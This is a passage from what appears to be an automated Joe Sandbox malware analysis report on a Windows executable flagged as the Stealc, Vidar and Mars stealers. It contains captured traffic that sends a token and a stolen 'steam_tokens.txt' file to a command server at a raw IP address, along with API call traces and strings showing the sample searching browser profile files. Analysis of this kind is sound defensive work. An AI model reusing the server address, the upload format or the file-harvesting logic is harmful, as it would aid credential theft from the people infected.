69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="file"------AAFHIIDHJEBFBFIDAKFB--
Apr 17, 2024 06:57:37.495398045 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:37.579413891 CEST	204	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.172.128.23 Content-Length: 113919 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:38.414547920 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:38.482331991 CEST	468	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCB Host: 185.172.128.23 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 32 31 63 64 34 38 36 35 34 30 30 33 61 36 38 65 35 65 32 65 38 39 39 37 34 39 31 39 62 37 63 32 37 33 31 36 35 65 64 34 65 33 30 62 36 62 62 31 31 30 32 35 32 30 33 36 39 34 64 38 37 33 34 37 36 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 35 31 38 34 31 39 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="message"5184191------AEBAFBGIDHCBFHIECFCB--
Apr 17, 2024 06:57:38.892934084 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Target ID:	0
Start time:	06:56:55
Start date:	17/04/2024
Path:	C:\Users\user\Desktop\UvswnLTk5d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UvswnLTk5d.exe"
Imagebase:	0x400000
File size:	312'832 bytes
MD5 hash:	E2D45C465FD698E29D05CE3401C01222
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2177762836.0000000002DD5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2177739160.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:57:37
Start date:	17/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 2100
Imagebase:	0x750000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,02DB6440), ref: 0041625D
GetProcAddress.KERNEL32(74DD0000,02DB6100), ref: 00416275
GetProcAddress.KERNEL32(74DD0000,02DD8A48), ref: 0041628E
GetProcAddress.KERNEL32(74DD0000,02DD8A60), ref: 004162A6
GetProcAddress.KERNEL32(74DD0000,02DD8A78), ref: 004162BE
GetProcAddress.KERNEL32(74DD0000,02DD8A90), ref: 004162D7
GetProcAddress.KERNEL32(74DD0000,02DBA088), ref: 004162EF
GetProcAddress.KERNEL32(74DD0000,02DD8B08), ref: 00416307
GetProcAddress.KERNEL32(74DD0000,02DD8910), ref: 00416320
GetProcAddress.KERNEL32(74DD0000,02DD8B50), ref: 00416338
GetProcAddress.KERNEL32(74DD0000,02DD8A18), ref: 00416350
GetProcAddress.KERNEL32(74DD0000,02DB6480), ref: 00416369
GetProcAddress.KERNEL32(74DD0000,02DB62A0), ref: 00416381
GetProcAddress.KERNEL32(74DD0000,02DB6240), ref: 00416399
GetProcAddress.KERNEL32(74DD0000,02DB63C0), ref: 004163B2
GetProcAddress.KERNEL32(74DD0000,02DD89A0), ref: 004163CA
GetProcAddress.KERNEL32(74DD0000,02DD88F8), ref: 004163E2
GetProcAddress.KERNEL32(74DD0000,02DBA330), ref: 004163FB
GetProcAddress.KERNEL32(74DD0000,02DB6460), ref: 00416413
GetProcAddress.KERNEL32(74DD0000,02DD8AA8), ref: 0041642B
GetProcAddress.KERNEL32(74DD0000,02DD88C8), ref: 00416444
GetProcAddress.KERNEL32(74DD0000,02DD8970), ref: 0041645C
GetProcAddress.KERNEL32(74DD0000,02DD88E0), ref: 00416474
GetProcAddress.KERNEL32(74DD0000,02DB62C0), ref: 0041648D
GetProcAddress.KERNEL32(74DD0000,02DD8AD8), ref: 004164A5
GetProcAddress.KERNEL32(74DD0000,02DD8940), ref: 004164BD
GetProcAddress.KERNEL32(74DD0000,02DD88B0), ref: 004164D6
GetProcAddress.KERNEL32(74DD0000,02DD89B8), ref: 004164EE
GetProcAddress.KERNEL32(74DD0000,02DD89D0), ref: 00416506
GetProcAddress.KERNEL32(74DD0000,02DD8A30), ref: 0041651F
GetProcAddress.KERNEL32(74DD0000,02DD89E8), ref: 00416537
GetProcAddress.KERNEL32(74DD0000,02DD8928), ref: 0041654F
GetProcAddress.KERNEL32(74DD0000,02DD8AF0), ref: 00416568
GetProcAddress.KERNEL32(74DD0000,02DD87E0), ref: 00416580
GetProcAddress.KERNEL32(74DD0000,02DD8880), ref: 00416598
GetProcAddress.KERNEL32(74DD0000,02DD8B20), ref: 004165B1
GetProcAddress.KERNEL32(74DD0000,02DB6140), ref: 004165C9
GetProcAddress.KERNEL32(74DD0000,02DD8B38), ref: 004165E1
GetProcAddress.KERNEL32(74DD0000,02DB6340), ref: 004165FA
GetProcAddress.KERNEL32(74DD0000,02DD8958), ref: 00416612
GetProcAddress.KERNEL32(74DD0000,02DD8BB0), ref: 0041662A
GetProcAddress.KERNEL32(74DD0000,02DB61A0), ref: 00416643
GetProcAddress.KERNEL32(74DD0000,02DB6260), ref: 0041665B
LoadLibraryA.KERNEL32(02DD8B68,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666D
LoadLibraryA.KERNEL32(02DD8BC8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041667E
LoadLibraryA.KERNEL32(02DD8BF8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416690
LoadLibraryA.KERNEL32(02DD8C10,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A2
LoadLibraryA.KERNEL32(02DD8B80,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B3
LoadLibraryA.KERNEL32(02DD8B98,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C5
LoadLibraryA.KERNEL32(02DD8BE0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D7
LoadLibraryA.KERNEL32(02DD8C28,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166E8
GetProcAddress.KERNEL32(75290000,02DB6360), ref: 0041670A
GetProcAddress.KERNEL32(75290000,02DDA600), ref: 00416722
GetProcAddress.KERNEL32(75290000,02DD4C90), ref: 0041673A
GetProcAddress.KERNEL32(75290000,02DDA660), ref: 00416753
GetProcAddress.KERNEL32(75290000,02DB6200), ref: 0041676B
GetProcAddress.KERNEL32(734C0000,02DBA498), ref: 00416790
GetProcAddress.KERNEL32(734C0000,02DB6160), ref: 004167A9
GetProcAddress.KERNEL32(734C0000,02DBA038), ref: 004167C1
GetProcAddress.KERNEL32(734C0000,02DDA7C8), ref: 004167D9
GetProcAddress.KERNEL32(734C0000,02DDA7F8), ref: 004167F2
GetProcAddress.KERNEL32(734C0000,02DB62E0), ref: 0041680A
GetProcAddress.KERNEL32(734C0000,02DB64A0), ref: 00416822
GetProcAddress.KERNEL32(734C0000,02DDA618), ref: 0041683B
GetProcAddress.KERNEL32(752C0000,02DB6180), ref: 0041685C
GetProcAddress.KERNEL32(752C0000,02DB63E0), ref: 00416874
GetProcAddress.KERNEL32(752C0000,02DDA738), ref: 0041688D
GetProcAddress.KERNEL32(752C0000,02DDA6A8), ref: 004168A5
GetProcAddress.KERNEL32(752C0000,02DB6280), ref: 004168BD
GetProcAddress.KERNEL32(74EC0000,02DB9FE8), ref: 004168E3
GetProcAddress.KERNEL32(74EC0000,02DBA010), ref: 004168FB
GetProcAddress.KERNEL32(74EC0000,02DDA630), ref: 00416913
GetProcAddress.KERNEL32(74EC0000,02DB61C0), ref: 0041692C
GetProcAddress.KERNEL32(74EC0000,02DB6400), ref: 00416944
GetProcAddress.KERNEL32(74EC0000,02DBA420), ref: 0041695C
GetProcAddress.KERNEL32(75BD0000,02DDA750), ref: 00416982
GetProcAddress.KERNEL32(75BD0000,02DB61E0), ref: 0041699A
GetProcAddress.KERNEL32(75BD0000,02DD4C80), ref: 004169B2
GetProcAddress.KERNEL32(75BD0000,02DDA798), ref: 004169CB
GetProcAddress.KERNEL32(75BD0000,02DDA648), ref: 004169E3
GetProcAddress.KERNEL32(75BD0000,02DB6380), ref: 004169FB
GetProcAddress.KERNEL32(75BD0000,02DB6300), ref: 00416A14
GetProcAddress.KERNEL32(75BD0000,02DDA678), ref: 00416A2C
GetProcAddress.KERNEL32(75BD0000,02DDA6C0), ref: 00416A44
GetProcAddress.KERNEL32(75A70000,02DB6320), ref: 00416A66
GetProcAddress.KERNEL32(75A70000,02DDA5D0), ref: 00416A7E
GetProcAddress.KERNEL32(75A70000,02DDA810), ref: 00416A96
GetProcAddress.KERNEL32(75A70000,02DDA828), ref: 00416AAF
GetProcAddress.KERNEL32(75A70000,02DDA870), ref: 00416AC7
GetProcAddress.KERNEL32(75450000,02DAAE70), ref: 00416AE8
GetProcAddress.KERNEL32(75450000,02DDAF70), ref: 00416B01
GetProcAddress.KERNEL32(75DA0000,02DDAF90), ref: 00416B22
GetProcAddress.KERNEL32(75DA0000,02DDA5A0), ref: 00416B3A
GetProcAddress.KERNEL32(6F090000,02DDADD0), ref: 00416B60
GetProcAddress.KERNEL32(6F090000,02DDADF0), ref: 00416B78
GetProcAddress.KERNEL32(6F090000,02DDAFB0), ref: 00416B90
GetProcAddress.KERNEL32(6F090000,02DDA588), ref: 00416BA9
GetProcAddress.KERNEL32(6F090000,02DDB090), ref: 00416BC1
GetProcAddress.KERNEL32(6F090000,02DDAFD0), ref: 00416BD9
GetProcAddress.KERNEL32(6F090000,02DDB050), ref: 00416BF2
GetProcAddress.KERNEL32(6F090000,02DDB110), ref: 00416C0A
GetProcAddress.KERNEL32(75AF0000,02DDA690), ref: 00416C2B
GetProcAddress.KERNEL32(75AF0000,02DD4DA0), ref: 00416C44
GetProcAddress.KERNEL32(75AF0000,02DDA7B0), ref: 00416C5C
GetProcAddress.KERNEL32(75AF0000,02DDA768), ref: 00416C74
GetProcAddress.KERNEL32(75D90000,02DDB130), ref: 00416C96
GetProcAddress.KERNEL32(6E3A0000,02DDA5B8), ref: 00416CB7
GetProcAddress.KERNEL32(6E3A0000,02DDAE70), ref: 00416CCF
GetProcAddress.KERNEL32(6E3A0000,02DDA720), ref: 00416CE8
GetProcAddress.KERNEL32(6E3A0000,02DDA6D8), ref: 00416D00

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 6fdcbfc83a7e6ced85b92bf4002cf1d70b18d179e1e2f66c0d1faa926a602d30
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 6E623EB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
FindNextFileA.KERNELBASE(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s\%s, xrefs: 004117FD
%s\*, xrefs: 0041165D
%s\%s\%s, xrefs: 004117DB
%s%s, xrefs: 00411838
%s\%s, xrefs: 00411714

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: d14d3b53b4b304942c1068cf6e8c3edb8e4b58acf5ef8601f3d5041d0615a7c0
Instruction ID: 56f1237c2d7c520c90c98f1ce5fb3a6d9b51b415e2d0c2f733ce4a2014328567
Opcode Fuzzy Hash: d14d3b53b4b304942c1068cf6e8c3edb8e4b58acf5ef8601f3d5041d0615a7c0
Instruction Fuzzy Hash: AE9172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

\Brave\Preferences, xrefs: 0040B97B
Brave, xrefs: 0040B8A2
Google Chrome, xrefs: 0040BDB9
Preferences, xrefs: 0040B8BE

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 86f4c13db45679002ce24e94b7140bad6c1915cc43f3d925783739abbf1e057b
Instruction ID: 76d401781d3fce7c968e745dc043d6a6225f477281f2400f678919b217ba5a4c
Opcode Fuzzy Hash: 86f4c13db45679002ce24e94b7140bad6c1915cc43f3d925783739abbf1e057b
Instruction Fuzzy Hash: 0F423572A0010457CF14FB61DC56EEE773DAF84304F41455EF90AA6181EE38AB89CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNEL32(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\*, xrefs: 0041257D
%s\%s, xrefs: 0041264F
%s\%s, xrefs: 004125FE

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: e4274c6f6a93ab113d98ef6bf9e63405ee960f39cd173e9b5e22bc78bd960008
Instruction ID: 16fd5a9597efbfb91ed0225017393bb16e0f77851f83799e5682f8bc7922baf0
Opcode Fuzzy Hash: e4274c6f6a93ab113d98ef6bf9e63405ee960f39cd173e9b5e22bc78bd960008
Instruction Fuzzy Hash: 676156B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF74DB85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411B9D
FindFirstFileA.KERNEL32(?,?), ref: 00411BB4
StrCmpCA.SHLWAPI(?,0041D834), ref: 00411BE2
StrCmpCA.SHLWAPI(?,0041D838), ref: 00411BF8
FindNextFileA.KERNEL32(000000FF,?), ref: 00411D3D
FindClose.KERNEL32(000000FF), ref: 00411D52

Strings

%s\%s, xrefs: 00411B91

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 6ce39132c754f4c28d8c3fc0d6c58ffce8fdf04327253957d4a4e8338b5bbb53
Instruction ID: 1beca0db89a34a7d9f561fb59a57ff38f1a0216f2a844ef05cbde65d1a44dc5a
Opcode Fuzzy Hash: 6ce39132c754f4c28d8c3fc0d6c58ffce8fdf04327253957d4a4e8338b5bbb53
Instruction Fuzzy Hash: D75168B5900618ABCB24EBB0DC85EEA737DBB48304F40458DB65A96050EB79ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404CC1, 00404DA0
c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: faf2d3165a9f57649bff94cf44538fc0f40ee834fe8418eb5e450b0b8c034669
Instruction ID: 93472a029acc8278824907ab7d145ea178407da7df790c597300061c638fc298
Opcode Fuzzy Hash: faf2d3165a9f57649bff94cf44538fc0f40ee834fe8418eb5e450b0b8c034669
Instruction Fuzzy Hash: 3731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081D9F709A7280DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215C4,?,00401E03,?,004215C8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215CC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215D0), ref: 00401879
CopyFileA.KERNEL32(00000000,00000000,?), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Strings

\*.*, xrefs: 004016E1

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c11afa95c46f6d76ae8d41c46e4e875a64afb58cf7b95ba8b57853b0d2b960bc
Instruction ID: 3aa4ae790513c502dab12fd0122e5550b13815c0fff8c800b600eb4522263f51
Opcode Fuzzy Hash: c11afa95c46f6d76ae8d41c46e4e875a64afb58cf7b95ba8b57853b0d2b960bc
